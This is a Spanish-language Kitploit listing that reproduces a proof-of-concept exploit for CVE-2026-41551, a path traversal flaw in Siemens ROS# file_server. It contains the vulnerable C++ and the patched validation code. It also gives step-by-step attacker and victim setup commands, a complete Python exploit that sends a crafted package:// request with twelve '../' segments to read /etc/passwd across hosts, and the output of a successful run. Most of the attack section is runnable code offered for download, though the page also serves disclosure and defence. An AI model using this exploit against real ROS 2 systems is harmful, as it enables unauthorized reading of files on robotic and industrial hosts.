Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-41551 — Prueba de concepto del exploit para CVE-2026-41551, una vulnerabilidad de path traversal en Siemens ROS# file_server, que demuestra la lectura remota de archivos mediante solicitudes package:// manipuladas. | Kitploit
Herramientas/GitHubGitHub/selecthch/cve-2026-41551
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHubselecthch/cve-2026-41551

CVE-2026-41551

Prueba de concepto del exploit para CVE-2026-41551, una vulnerabilidad de path traversal en Siemens ROS# file_server, que demuestra la lectura remota de archivos mediante solicitudes package:// manipuladas.

Ver Repositorio
1hace 2 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Reproducción de CVE-2026-41551

Vulnerabilidad: recorrido de ruta relativa en los servicios file_server / file_server2 de Siemens ROS# CVSS v3.1: 9.1 (AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:N) Versiones afectadas: todas las versiones de ros-sharp < V2.2.2; versión corregida: V2.2.2 (nuevo validate_path) Conclusión: esta vulnerabilidad se puede explotar entre hosts, no solo de forma local. A continuación se muestran los pasos de reproducción remota «atacante 153 → víctima 152».


0. Principio de la vulnerabilidad (ros-sharp 2.2.1, file_server.cpp)

get_file_callback concatena directamente la ruta de la solicitud al directorio compartido del paquete, sin verificación de recorrido:

root@kitploit:~
std::string address   = request->name.substr(10);          // elimina "package://"
std::string package   = address.substr(0, address.find("/"));
std::string filepath  = address.substr(package.length());
std::string directory = ament_index_cpp::get_package_share_directory(package);
directory += filepath;                                    // controlable por el usuario, incluye "../"
std::ifstream inputfile(directory.c_str(), std::ios::binary);  // lectura de archivos arbitrarios mediante recorrido

La solicitud PoC package://file_server2/<../×12>etc/passwd sale del directorio share del paquete hasta la raíz y lee archivos locales de la víctima.

Código de corrección (ros-sharp 2.2.2)

Nuevo validate_path: primero verifica el recorrido de ruta, luego la lista blanca de extensiones y finalmente usa std::filesystem::canonical para confirmar que no se escapa del directorio del paquete; save_file está deshabilitado por defecto.

root@kitploit:~
bool has_traversal(const std::string& path) {           // prohíbe ".." y "."
  for (const auto& part : std::filesystem::path(path))
    if (part == ".." || part == ".") return true;
  return false;
}
bool is_path_safe(const std::string& base_dir, const std::string& full_path) {
  auto base   = std::filesystem::canonical(base_dir);
  auto target = std::filesystem::weakly_canonical(full_path);
  auto [end, _] = std::mismatch(base.begin(), base.end(), target.begin());
  return end == base.end();                            // debe permanecer dentro del directorio del paquete
}
bool validate_path(...) {
  if (has_traversal(filepath))   { warn("Path traversal attempt blocked"); return false; }

1. Información del entorno

Topología de red (mismo ROS_DOMAIN_ID, descubrimiento DDS entre hosts):

root@kitploit:~
Atacante 192.168.171.153                        Víctima 192.168.171.152
+---------------------------+                +---------------------------+
| ros2_humble + client      |  (1) get_file  | nodo file_server          |
| python3 poc.py            | -------------> | /file_server/get_file     |
|                           |                | lee /etc/passwd local     |
|                           | <-------------  | (2) devuelve contenido 2930 bytes |
+---------------------------+                +---------------------------+
             ROS2 DDS (UDP 7400-7500 / multicast 239.255.0.x), ROS_DOMAIN_ID=0

2. Requisitos previos (cumplidos por defecto tras reiniciar)

  • Ambos hosts tienen ROS2 Humble instalado (/opt/ros/humble) y colcon.
  • El paquete fuente vulnerable está en ~/ros2_ws/src/file_server2 (ros-sharp 2.2.1, 13 archivos en total).
  • Clave: al iniciar el nodo de la víctima, no establecer ROS_LOCALHOST_ONLY=1; de lo contrario, solo será accesible por loopback y no se podrá reproducir de forma remota.

3. Pasos de reproducción

3.1 Lado de la víctima (192.168.171.152): compilar e iniciar el nodo, escucha de red

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# Compilar el paquete vulnerable (se puede omitir si ya está compilado; recompilar es inofensivo)
colcon build --packages-select file_server2

# Iniciar el nodo (seguro tras reiniciar: primero limpiar procesos antiguos y luego iniciar)
# El contenido de ~/start_fs.sh está en el Apéndice A
bash ~/start_fs.sh
sleep 2

ros2 node list            # debería aparecer /file_server local

3.2 Lado del atacante (192.168.171.153): compilar el paquete client para obtener el tipo srv

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# También se necesita el paquete file_server2 para que el cliente importe el tipo GetBinaryFile
colcon build --packages-select file_server2

3.3 Lado del atacante: descubrir el servicio de la víctima entre hosts

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
sleep 2

ros2 node list                 # debería descubrir /file_server entre hosts (en 152)
ros2 service list | grep file_server
# debería aparecer: /file_server/get_file

3.4 Lado del atacante: ejecutar el PoC para leer /etc/passwd de la víctima de forma remota

root@kitploit:~
python3 ~/poc.py

4. Resultado de la reproducción

root@kitploit:~
[*] Requesting: package://file_server2/../../../../../../../../../../../../etc/passwd
[*] Returned 2930 bytes
----- /etc/passwd (begin) -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
----- end -----

El atacante en 153 leyó con éxito /etc/passwd de la máquina local de la víctima 152.


Apéndice A: ~/start_fs.sh

root@kitploit:~
#!/bin/bash
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# El nombre del proceso se trunca en el kernel a file_server2_no; limpiar instancias antiguas con precisión por línea de comandos
MYSELF=$$
for p in $(ps -eo pid,args | grep "file_server2_node" | grep -v grep | awk '{print $1}'); do
  [ "$p" != "$MYSELF" ] && kill -9 "$p" 2>/dev/null
done
sleep 1
# Clave: no establecer ROS_LOCALHOST_ONLY; de lo contrario, solo será accesible por loopback
setsid bash -c "ros2 run file_server2 file_server2_node > ~/file_server.log 2>&1" >/dev/null 2>&1 </dev/null &
disown
sleep 2
echo "node started: $(pgrep -af file_server2_node | head -1)"

Apéndice B: ~/poc.py

root@kitploit:~
import rclpy
from rclpy.node import Node
from file_server2.srv import GetBinaryFile

class Client(Node):
    def __init__(self):
        super().__init__('poc_client')
        self.cli = self.create_client(GetBinaryFile, '/file_server/get_file')
        while not self.cli.wait_for_service(timeout_sec=5.0):
            self.get_logger().info('waiting for service...')

    def call(self, name):
        req = GetBinaryFile.Request()
        req.name = name
        fut = self.cli.call_async(req)
        rclpy.spin_until_future_complete(self, fut)
        return fut.result()

def main():
    rclpy.init()
    c = Client()
    # 12 "../" son suficientes para salir del directorio share del paquete hasta la raíz y acceder a etc/passwd
    target = "package://file_server2/" + ("../" * 12) + "etc/passwd"
    print(f"[*] Requesting: {target}")
    res = c.call(target)
    data = bytes(res.value) if res is not None else b''
    print(f"[*] Returned {len(data)} bytes")
    print("----- /etc/passwd (begin) -----")
    print(data[:400].decode(errors='replace'))
    print("----- end -----")
    c.destroy_node()
    rclpy.shutdown()

if __name__ == '__main__':
    main()

Referencias

  • Siemens Security Advisory SSA-357982 (recorrido de directorio en ROS# file_server)
  • NVD CVE-2026-41551
  • Lanzamientos de ros-sharp en GitHub: V2.2.1 (afectado) / V2.2.2 (corregido)
  • CWE-23: Relative Path Traversal; documentación de ROS 2: ROS_DOMAIN_ID / ROS_LOCALHOST_ONLY / descubrimiento DDS
Descargar herramienta
RolIP del hostSistemaROSDescripción
Víctima192.168.171.152Ubuntu 22.04HumbleEjecuta el nodo file_server; el archivo leído se encuentra en la máquina local
Atacante192.168.171.153Ubuntu 22.04HumbleMisma subred; envía la llamada PoC al servicio de la víctima